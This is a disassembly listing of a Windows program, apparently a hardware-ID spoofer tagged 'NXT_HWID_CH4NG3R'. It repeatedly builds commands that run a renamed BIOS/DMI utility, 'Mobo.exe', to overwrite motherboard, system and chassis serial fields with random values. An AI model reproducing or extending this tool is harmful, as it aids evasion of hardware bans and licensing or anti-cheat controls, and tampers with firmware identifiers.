lea rcx, [rsp + 0x7750]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7750]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BM__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7770]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7770]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7770]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BP__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7790]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7790]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7790]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BT__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x77b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x77b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x77b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BLC__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x77d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x77d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x77d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CM__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x77f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x77f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x77f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CT__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7810]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7810]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7810]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CV_random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7830]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7830]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7830]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CA__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7850]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7850]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7850]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CO__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7870]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7870]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7870]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSK__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7890]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7890]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7890]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SK__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x78b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x78b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x78b0]
call fcn.14005d8e0
lea rdx, [0x140395420]
lea rcx, [rsp + 0x78d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x78d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x78d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SU__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x78f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x78f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x78f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BMH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7910]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7910]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7910]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BPH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7930]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7930]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7930]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BVH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7950]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7950]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7950]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BSH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7970]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7970]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7970]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BTH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7990]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7990]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7990]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BLCH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x79b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x79b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x79b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__IVN__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x79d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x79d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x79d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ID__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x79f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x79f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x79f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7a10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7a10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7a10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CPC__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7a30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7a30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7a30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CMH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7a50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7a50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7a50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CTH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7a70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7a70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7a70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CVH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7a90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7a90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7a90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7ab0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7ab0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7ab0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CAH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7ad0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7ad0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7ad0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__COH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7af0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7af0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7af0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CHH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7b10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7b10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7b10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CPCH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7b30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7b30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7b30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSKH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7b50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7b50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7b50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SU__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7b70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7b70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7b70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ALL__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7b90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7b90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7b90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SS__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7bb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7bb0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7bb0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7bd0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7bd0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7bd0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SV__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7bf0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7bf0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7bf0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BV__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7c10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7c10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7c10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7c30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7c30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7c30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CS__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7c50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7c50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7c50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PSN__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7c70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7c70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7c70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PAT__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7c90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7c90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7c90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PPN__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7cb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7cb0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7cb0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__IV__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7cd0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7cd0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7cd0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SM__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7cf0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7cf0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7cf0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SP__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7d10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7d10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7d10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SF__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7d30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7d30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7d30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BM__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7d50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7d50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7d50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BP__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7d70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7d70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7d70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BT__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7d90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7d90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7d90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BLC__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7db0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7db0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7db0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CM__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7dd0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7dd0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7dd0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CT__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7df0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7df0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7df0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CV_random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7e10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7e10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7e10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CA__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7e30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7e30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7e30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CO__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7e50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7e50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7e50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSK__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7e70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7e70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7e70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SK__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7e90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7e90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7e90]
call fcn.14005d8e0
lea rdx, [0x140395420]
lea rcx, [rsp + 0x7eb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7eb0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7eb0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SU__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7ed0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7ed0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7ed0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BMH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7ef0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7ef0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7ef0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BPH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7f10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7f10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7f10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BVH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7f30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7f30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7f30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BSH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7f50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7f50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7f50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BTH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7f70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7f70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7f70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BLCH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7f90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7f90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7f90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__IVN__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7fb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7fb0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7fb0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ID__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7fd0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7fd0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7fd0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7ff0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7ff0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7ff0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CPC__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8010]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8010]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8010]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CMH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8030]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8030]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8030]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CTH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8050]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8050]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8050]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CVH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8070]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8070]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8070]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8090]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8090]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8090]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CAH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x80b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x80b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x80b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__COH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x80d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x80d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x80d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CHH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x80f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x80f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x80f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CPCH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8110]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8110]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8110]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSKH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8130]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8130]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8130]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SU__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8150]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8150]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8150]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ALL__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8170]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8170]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8170]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__GAN__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8190]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8190]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8190]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PPIN__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x81b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x81b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x81b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EAX__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x81d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x81d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x81d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EBX__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x81f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x81f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x81f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ECX__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8210]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8210]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8210]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EDX__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8230]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8230]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8230]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CIMV2__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8250]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8250]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8250]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__WMI__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8270]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8270]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8270]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__WMIC__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8290]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8290]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8290]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SS__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x82b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x82b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x82b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x82d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x82d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x82d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SV__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x82f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x82f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x82f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BV__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8310]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8310]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8310]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8330]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8330]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8330]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CS__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x4ab0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4ab0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4ab0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PSN__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8350]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8350]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8350]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PAT__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8370]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8370]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8370]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PPN__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8390]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8390]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8390]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__IV__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x83b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x83b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x83b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SM__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x83d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x83d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x83d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SP__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x83f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x83f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x83f0]
call fcn.14005d8e0
